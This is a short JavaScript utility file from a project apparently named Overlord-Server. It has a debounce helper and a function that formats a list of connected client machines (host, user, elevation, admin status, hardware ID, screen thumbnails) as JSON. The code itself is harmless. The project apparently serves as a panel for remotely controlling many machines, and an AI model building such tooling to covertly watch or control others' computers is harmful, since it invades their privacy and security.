Files
overlord/Overlord-Server/public/assets/utils.js
T

51 lines
1.2 KiB
JavaScript
Raw Normal View History

2026-03-05 00:04:26 -06:00
export function debounce(fn, delayMs) {
let t;
return (...args) => {
clearTimeout(t);
t = setTimeout(() => fn(...args), delayMs);
};
}
export function digestData(data, { page, pageSize, searchTerm, sort }) {
const items =
data.items?.map((c) => ({
id: c.id,
online: !!c.online,
lastSeen: c.lastSeen,
ping: c.pingMs,
host: c.host,
user: c.user,
customTag: c.customTag,
customTagNote: c.customTagNote,
2026-03-05 00:04:26 -06:00
version: c.version,
country: c.country,
arch: c.arch,
os: c.os,
monitors: c.monitors,
elevation: c.elevation,
2026-05-30 22:44:55 -05:00
bookmarked: !!c.bookmarked,
isAdmin: !!c.isAdmin,
hwid: c.hwid,
cpu: c.cpu,
gpu: c.gpu,
ram: c.ram,
batteryPercent: c.batteryPercent,
batteryCharging: c.batteryCharging,
groupId: c.groupId,
groupName: c.groupName,
groupColor: c.groupColor,
notificationsMuted: !!c.notificationsMuted,
hasThumbnail: !!c.hasThumbnail,
thumbnailVersion: c.thumbnailVersion,
2026-03-05 00:04:26 -06:00
})) || [];
return JSON.stringify({
page,
pageSize,
searchTerm,
sort,
total: data.total,
online: data.online,
items,
});
}